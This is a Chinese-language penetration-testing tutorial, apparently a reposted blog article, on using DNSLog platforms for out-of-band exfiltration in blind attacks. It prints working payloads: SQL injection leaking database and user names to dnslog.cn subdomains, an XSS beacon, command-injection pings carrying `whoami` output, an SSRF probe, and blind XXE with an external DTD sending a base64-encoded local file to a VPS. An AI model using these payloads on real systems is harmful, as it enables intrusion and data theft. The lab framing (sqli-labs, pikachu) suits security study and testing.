DNSLog進行無回顯滲透測試


一、什么是DNSLog

DNS的全稱是Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如www.baidu.com,網絡上的DNS Server會將該域名解析,並找到對應的真實IP如127.0.0.1,使用戶可以訪問這台服務器上相應的服務。

DNSlog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似日志文件。

 

二、DNSLog利用原理

 

 

將dnslog平台中的特有字段payload帶入目標發起dns請求,通過dns解析將請求后的關鍵信息組合成新的三級域名帶出,在ns服務器的dns日志中顯示出來。

DNSlog就是存儲在DNS服務器上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似於日志文件。

 

簡單來說,就是我有個已注冊的域名a.com,我在域名代理商那里將域名設置對應的ip 1.1.1.1 上,這樣當我向dns服務器發起a.com的解析請求時,DNSlog中會記錄下他給a.com解析,解析值為1.1.1.1,而我們這個解析的記錄的值就是我們要利用的地方。

 

四、DNSLog平台

推薦平台:

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

 

自己搭建DNSLog平台選擇:https://github.com/BugScanTeam/DNSLog

 

五、滲透測試之DNSLog使用

  • SQL注入中的盲注
  • XSS盲打
  • 無回顯的命令執行
  • 無回顯的SSRF
  • 無回顯的XXE(Blind XXE)

5.1. SQL注入盲注

在sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯

5.1.1. 利用條件

  1. load_file()
  2. 讀寫權限
  3. Windows(UNC路徑)

5.1.2. load_file與secure_file_priv設置

例子:

select load_file('/etc/passwd')

1、必須有權限讀取並且文件必須完全可讀

and (select count(*) from mysql.user)>0 /*如果結果返回正常,說明具有讀寫權限.*/
and (select count(*) from mysql.user)>0 /*返回錯誤,應該是管理員給數據庫賬戶降權了*/

自己搭建環境的時候可以去mysql數據庫連接的時候設置下(去my.ini檢查下有沒有這個參數,沒有就手寫一個),設置完重啟數據庫。

set global secure_file_priv='';

 

這里拿sqli-labs第五關盲注去做這個。

http://localhost/sqli-labs/Less-5/?id=-1' union select 1,2,load_file(concat('//',(select database()),'.6.ijowns.dnslog.cn/a'))--+

可以看到下圖,已經回顯到了DNSLog上面了(其實照我們這個權限寫個webshell都沒問題了)。

 TIPS:

用戶名payload:and (select load_file(concat('//',(select hex(user())),'.6.ijowns.dnslog.cn/a')))

注意:為什么要對查詢的內容進行hex編碼?
如果我們要查詢的用戶名中存在特殊字符:如!@#$%^&
最后在請求DNS服務器時變成:!@#$%^&*.upa46v.dnslog.cn
存在特殊字符的域名無法解析。因此在DNS日志中也找不到我們查詢的數據。
所以在我們查詢時,當不確定查詢結果是否存在特殊字符時,最好先將其hex編碼后在帶入查詢。

 

5.2. XSS盲打

通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:

payload:

 <img src=http://dddxss.ijowns.dnslog.cn>

讓src請求我們的dnslog平台。這里舉個例子:

 

下面可以看到回顯的效果。

5.3. 無回顯的命令執行

5.3.1. Windows使用方法

變量                                           類型       描述
%USERNAME%                                     返回當前登錄的用戶的名稱。
%USERDOMAIN%                                   返回包含用戶帳戶的域的名稱。
%OS%                                           返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
%USERPROFILE%                                  返回當前用戶的配置文件的位置。
%ALLUSERSPROFILE%                           返回“所有用戶”配置文件的位置。
%APPDATA%                                 返回默認情況下應用程序存儲數據的位置。
%CD%                                       返回當前目錄字符串。
%CMDCMDLINE%                                    返回用來啟動當前的 Cmd.exe 的准確命令行。
%CMDEXTVERSION%                              返回當前的“命令處理程序擴展”的版本號。
%COMPUTERNAME%                                返回計算機的名稱。
%COMSPEC%                                            返回命令行解釋器可執行程序的准確路徑。
%DATE%                                                  返回當前日期。
%ERRORLEVEL%                                  返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE%                                           返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMEPATH%                                             返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMESHARE%                                           返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%LOGONSERVER%                                      返回驗證當前登錄會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS%                 指定安裝在計算機上的處理器的數目。
%PATH%                                          指定可執行文件的搜索路徑。
%PATHEXT%                                                 返回操作系統認為可執行的文件擴展名的列表。
%PROCESSOR_ARCHITECTURE%              返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
%PROCESSOR_IDENTFIER%                    返回處理器說明。
%PROCESSOR_LEVEL%                            返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION%                       返回處理器的版本號。
%PROMPT%                                           返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
%RANDOM%                                          返回 032767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE%                                  返回 Windows server operating system 根目錄的位置。
%TEMP%和%TMP%                                 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
%TIME%                                         返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。
%WINDIR%                                       返回操作系統目錄的位置

 

ping %OS%.ijowns.dnslog.cn

 回顯效果:

 5.3.2. Linux使用方法

ping -c 1 `whoami`.niddp9.dnslog.cn

 回顯效果:

 5.4. 無回顯SSRF

根據自己需要可以加一些字符到域名前面或目錄后面,通過dnslog判斷是否存在ssrf漏洞。

http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn

回顯效果:

5.5. 無回顯的XXE(Blind XXE)

pikachu靶場的xxe漏洞,把回顯注釋了。

 

測試payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://qfi2jk.dnslog.cn">
]>
<x>&f;</x>

 

回顯效果:

 

5.5.1. XXE漏洞盲打之文件讀取

有輸出的時候:

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///e:/java/test.txt"> 
]>
<x>&f;</x>

無回顯:

接下來通過DNSLog進行外帶數據。

VPS(IP: 192.168.110.141):

test.dtd內容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:7896/%file;'>">

這段代碼的意思是:實體int為http://vps的ip:7896/,實體file為file:///e:/java/test.txt(經過base64編碼),

總體的意思就是訪問vps的6666端口並攜帶本機的e:/java/test.txt的文件。

 

test.dtd內容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.141:7896/%file;'>">

 

在這個test.dtd目錄下開啟web服務

python -m SimpleHTTPServer 6796

 

訪問下web看看

 

 再連接個shell,開啟一個7896端口的web服務,一會看看提交過來的數據。

構建Payload進行提交:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % f SYSTEM "http://192.168.110.141:6796/test.dtd">%f;%int;%send; 
]>

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM